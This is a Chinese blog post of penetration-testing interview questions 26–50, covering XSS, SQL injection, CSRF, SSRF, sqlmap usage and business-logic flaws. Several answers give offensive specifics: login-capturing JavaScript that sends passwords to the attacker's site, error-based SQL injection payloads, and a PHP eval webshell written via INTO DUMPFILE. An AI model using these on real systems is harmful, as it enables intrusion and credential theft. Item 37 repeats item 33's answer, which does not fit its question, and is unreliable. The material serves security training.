面试题系列:渗透测试常见问题-二

26.在有shell的情况下,如何使用xss实现对目标站的长久控制?

后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。

在登录后才可以访问的文件中插入XSS脚本。

27.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

审查元素 把密码处的password属性改成text就明文显示了

28.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

29.审查元素得知网站所使用的防护软件,你觉得怎样做到的?

在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到内容。

30.在win2003服务器中建立一个 .zhongzi文件夹用意何为?

隐藏文件夹,为了不让管理员发现你传上去的工具。

31、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:

A. demo.jsp?id=2+1

B. demo.jsp?id=2-1

选B,在 URL 编码中 + 代表空格,可能会造成混淆

32、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

demo.do?DATA=AjAxNg==

DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试

33、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

34、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

35、CSRF、SSRF和重放攻击有什么区别?

CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份认证等目的

36、说出至少三种业务逻辑漏洞,以及修复方式?

密码找回漏洞中存在

1)密码允许暴力破解、

2)存在通用型找回凭证、

3)可以跳过验证步骤、

4)找回凭证可以拦包获取

等方式来通过厂商提供的密码找回功能来得到密码。身份认证漏洞中最常见的是

1)会话固定攻击

2) Cookie 仿冒

只要得到 Session 或 Cookie 即可伪造用户身份。验证码漏洞中存在

1)验证码允许暴力破解

2)验证码可以通过 Javascript 或者改包的方法来进行绕过

37、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?

get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”HTTP/1.1Host:.com:82User-Agent:Mozilla/5.0 Firefox/40Accept:text/css,/;q=0.1Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3Referer:http://.com/eciop/orderForCC/cgtListForCC.htm?zone=11370601&v=145902Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;st_uid=N90PLYHLZGJXI-NX01VPUF46W;status=TrueConnection:keep-alive

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

38、给你一个网站你是如何来渗透测试的?在获取书面授权的前提下。

39、sqlmap,怎么对一个注入点注入?

1)如果是get型号,直接,sqlmap -u "诸如点网址".

2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data="post的参数"

3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r "文件地址"

40、nmap,扫描的几种方式

41、sql注入的几种类型?

1)报错注入

2)bool型注入

3)延时注入

4)宽字节注入

42、报错注入的函数有哪些?10个

1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】2)通过floor报错 向下取整3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));10).exp()select from test where id=1 and exp(~(select * from(select user())a));

43、延时注入如何来判断?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

44、盲注和延时注入的共同点?

都是一个字符一个字符的判断

45、如何拿一个网站的webshell?上传,后台编辑模板,sql注入写文件,命令执行,代码执行, 一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等

46、sql注入写文件都有哪些函数?

select '一句话' into outfile '路径'select '一句话' into dumpfile '路径'select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';

47、如何防止CSRF?

1)验证referer

2)验证token

详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd

48、owasp 漏洞都有哪些?

1)SQL注入防护方法:

2)失效的身份认证和会话管理

3)跨站脚本攻击XSS

4)直接引用不安全的对象

5)安全配置错误

6)敏感信息泄露

7)缺少功能级的访问控制

8)跨站请求伪造CSRF

9)使用含有已知漏洞的组件

10)未验证的重定向和转发

49、SQL注入防护方法?

1)使用安全的API

2)对输入的特殊字符进行Escape转义处理

3)使用白名单来规范化输入验证方法

4)对客户端输入进行控制,不允许输入SQL注入相关的特殊字符

5)服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

50、代码执行,文件读取,命令执行的函数都有哪些?

1)代码执行:

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

2)文件读取:

file_get_contents(),highlight_file(),fopen(),read

file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等3)命令执行:

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

猜你喜欢

转载自blog.csdn.net/GUDUzhongliang/article/details/108659540
今日推荐